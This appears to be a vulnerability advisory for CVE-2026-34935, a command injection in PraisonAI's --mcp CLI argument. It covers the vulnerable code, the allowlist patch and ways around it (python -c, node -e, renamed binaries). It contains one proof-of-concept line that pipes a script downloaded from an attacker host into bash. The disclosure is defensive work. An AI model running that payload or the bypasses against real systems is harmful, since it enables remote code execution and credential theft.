Apr 8, 2026·6 min read·23 visits
Unsanitized input in PraisonAI's `--mcp` CLI argument allows attackers to achieve arbitrary OS command execution. While patched in version 4.5.69 via an allowlist, the fix remains susceptible to LOLBin argument injection.
PraisonAI versions prior to 4.5.69 are vulnerable to a critical OS Command Injection flaw. The vulnerability resides in the command-line interface processing of Model Context Protocol (MCP) server commands, allowing an attacker to execute arbitrary system commands via the `--mcp` parameter.
PraisonAI is a multi-agent framework that facilitates the construction and management of AI agent teams. The framework provides a command-line interface (CLI) for users to interact with and orchestrate these AI agents. This CLI includes support for the Model Context Protocol (MCP) via the --mcp argument.
A vulnerability exists in how the PraisonAI CLI processes commands provided to the --mcp argument. The affected software versions fail to neutralize special elements used in operating system commands. This flaw maps directly to CWE-78: Improper Neutralization of Special Elements used in an OS Command.
The vulnerability resides in the MCPHandler.parse_mcp_command() method within the CLI features component. Due to the lack of input sanitization, an attacker can supply crafted input that results in arbitrary command execution. This execution occurs with the privileges of the user running the PraisonAI application.
The root cause of CVE-2026-34935 is the direct execution of untrusted user input without prior validation or sanitization. When a user provides a string to the --mcp flag, the CLI routes this input to the parse_mcp_command() method located in src/praisonai/praisonai/cli/features/mcp.py. The application relies entirely on the Python shlex module to tokenize this input.
The shlex.split() function correctly parses the string into a list of arguments suitable for process execution. However, tokenization does not equate to sanitization. The application extracts the first element of the parsed list as the target executable and the remaining elements as the arguments.
Once parsed, the command and its arguments pass directly to a process executor, specifically anyio.open_process(). The executor invokes the specified binary on the underlying host system. Because the framework performs no checks against an allowlist or blocklist before this invocation, the application will execute any binary available in the system's PATH.
The vulnerable implementation in MCPHandler.parse_mcp_command() demonstrates a classic command injection pattern. The code accepts a string command and splits it using shlex.split(). It then assigns the resulting components to cmd and args variables before returning them for execution without performing any security checks.
def parse_mcp_command(self, command: str, env_vars: str = None) -> Tuple[str, List[str], Dict[str, str]]:
# Missing validation block
parts = shlex.split(command)
if not parts:
return None, [], {}
cmd = parts[0]
args = parts[1:] if len(parts) > 1 else []
# Environment parsing follows...
return cmd, args, envThe patch introduced in commit 47bff65413beaa3c21bf633c1fae4e684348368c attempts to remediate the vulnerability by introducing an allowlist. The developers defined ALLOWED_MCP_COMMANDS, a set containing specific allowed executables such as python, node, docker, and npx. The updated function checks the base name of the provided command against this list.
ALLOWED_MCP_COMMANDS = {
"npx", "npx.cmd", "npx.exe",
"node", "node.exe",
"python", "python3", "python.exe", "python3.exe",
"uvx", "uvx.exe",
"uv", "uv.exe",
"docker", "docker.exe",
"deno", "deno.exe",
"bun", "bun.exe",
"pipx",
}
# Inside parse_mcp_command:
basename = os.path.basename(cmd)
if basename not in ALLOWED_MCP_COMMANDS:
raise ValueError(f"Command '{cmd}' is not in the allowed MCP executables list.")Exploitation of this vulnerability requires the attacker to have the ability to supply arguments to the PraisonAI CLI. In scenarios where a web interface or secondary application builds CLI commands based on user input, this vulnerability becomes remotely exploitable. The attack involves injecting shell operators or specifying unexpected binaries in the --mcp parameter.
A standard proof-of-concept payload utilizes the bash executable to run an inline script. By specifying bash -c, the attacker can pass a complete shell pipeline as the subsequent argument. This allows the execution of complex commands that download and execute secondary payloads directly in memory.
praisonai "Summarize this" --mcp "bash -c 'curl http://attacker.com/shell.sh | bash'"During exploitation, shlex.split() parses the payload into ['bash', '-c', "curl http://attacker.com/shell.sh | bash"]. The anyio.open_process() function then invokes bash, passing the attacker's script. This execution occurs entirely outside the intended boundaries of the MCP server context, providing the attacker with persistent access or arbitrary code execution capabilities.
The remediation implemented in version 4.5.69 introduces significant architectural weaknesses. The patch relies exclusively on validating the executable name while ignoring the arguments passed to that executable. This approach fails to address the underlying risk of arbitrary code execution when invoking powerful interpreters.
The allowlist includes tools like python, node, and docker. An attacker can specify one of these allowed binaries and use its command-line arguments to execute arbitrary code. For example, an attacker can bypass the protection by using python -c or node -e followed by a malicious script. These are known as Living Off The Land Binaries (LOLBins).
Furthermore, the patch uses os.path.basename(cmd) to validate the executable. This introduces a path manipulation vector. An attacker with minimal file system access can create a symbolic link or copy a malicious binary to a temporary directory, naming it python or npx. Passing /tmp/npx to the --mcp flag will bypass the basename check while executing the attacker-controlled binary.
The CVSS v3.1 base score for CVE-2026-34935 is 9.8, indicating a critical severity level. The vulnerability allows complete compromise of the host system executing the PraisonAI framework. The impact spans all three primary security objectives: confidentiality, integrity, and availability.
An attacker successfully exploiting this flaw gains the execution privileges of the PraisonAI process. This permits unauthorized read access to all files, environment variables, and memory accessible to that user. The attacker can exfiltrate sensitive data, including API keys and database credentials commonly stored in AI application environments.
Integrity and availability are similarly compromised. The attacker can modify system configuration files, install persistent backdoors, or terminate critical processes. In a containerized environment, successful exploitation serves as the initial step toward container escape or lateral movement within the broader network infrastructure.
Organizations utilizing PraisonAI must immediately update to version 4.5.69 or later for the main package, and version 1.5.69 for praisonaiagents. This update introduces the primary allowlist defense. Administrators should verify the installed versions across all deployment environments.
Due to the identified weaknesses in the official patch, secondary mitigations are strictly necessary. Administrators must implement strict input validation on any application layer that constructs commands for the PraisonAI CLI. Ensure that untrusted user input cannot influence the --mcp parameter, even partially.
In high-security environments, restrict the execution context of the PraisonAI process. Utilize containerization, mandatory access controls such as AppArmor or SELinux, and strict file system permissions. Run the process under a dedicated service account with minimal privileges to reduce the impact of a successful command injection attack.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
praisonai Mervin Praison | >= 4.5.15, < 4.5.69 | 4.5.69 |
praisonaiagents Mervin Praison | <= 1.5.68 | 1.5.69 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 |
| Attack Vector | Network / CLI Input |
| CVSS v3.1 | 9.8 (Critical) |
| EPSS Score | 0.00083 |
| Impact | Arbitrary Code Execution |
| Exploit Status | Proof of Concept |
Improper Neutralization of Special Elements used in an OS Command
An authorization bypass vulnerability in the @better-auth/scim plugin allows authenticated attackers to hijack personal SCIM providers and subsequently perform full account takeovers.
A behavioral mismatch vulnerability (CWE-701) in the Rust-based uutils coreutils implementation of common command-line utilities allows silent data loss. When the --suffix argument is executed without explicit backup flags, the uucore library fails to enter backup mode, silently overwriting target files instead of creating preserving copies as expected under GNU standards.
Open WebUI versions prior to 0.6.6 contain a stored cross-site scripting (XSS) vulnerability that allows low-privileged users to upload malicious HTML files containing arbitrary JavaScript. When viewed by an administrator, the executed script can abuse administrative APIs to register malicious functions, leading to remote code execution on the underlying server host.
A critical Stored Cross-Site Scripting (XSS) vulnerability exists in Open WebUI versions prior to 0.6.6. The vulnerability resides in client-side Markdown rendering, where unvalidated iframe tags containing local API base URLs bypass DOMPurify sanitization. This flaw allows authenticated attackers to steal user session tokens. If an administrative session is compromised, the attacker can leverage the application's native Python execution capabilities ('Functions') to achieve arbitrary Remote Code Execution (RCE) on the hosting server.
CVE-2026-26192 is a high-severity Stored Cross-Site Scripting (XSS) vulnerability in Open WebUI prior to version 0.7.0. Authenticated users can modify chat history metadata to force document citations to render inside an HTML iframe configured with an insecure sandbox policy. By combining 'allow-scripts' and 'allow-same-origin', the sandbox boundary is neutralized. This allows scripts executing within the iframe to access the parent window's DOM, extract sensitive Web UI local storage keys (such as authentication JWTs), and perform state-changing actions on behalf of other users, including administrators.
CVE-2026-26193 is a stored Cross-Site Scripting (XSS) vulnerability in Open WebUI prior to version 0.6.44. The vulnerability arises because the rendering engine hardcodes insecure sandbox options on an iframe component used for response embeds, allowing attackers to execute JavaScript in the parent window origin.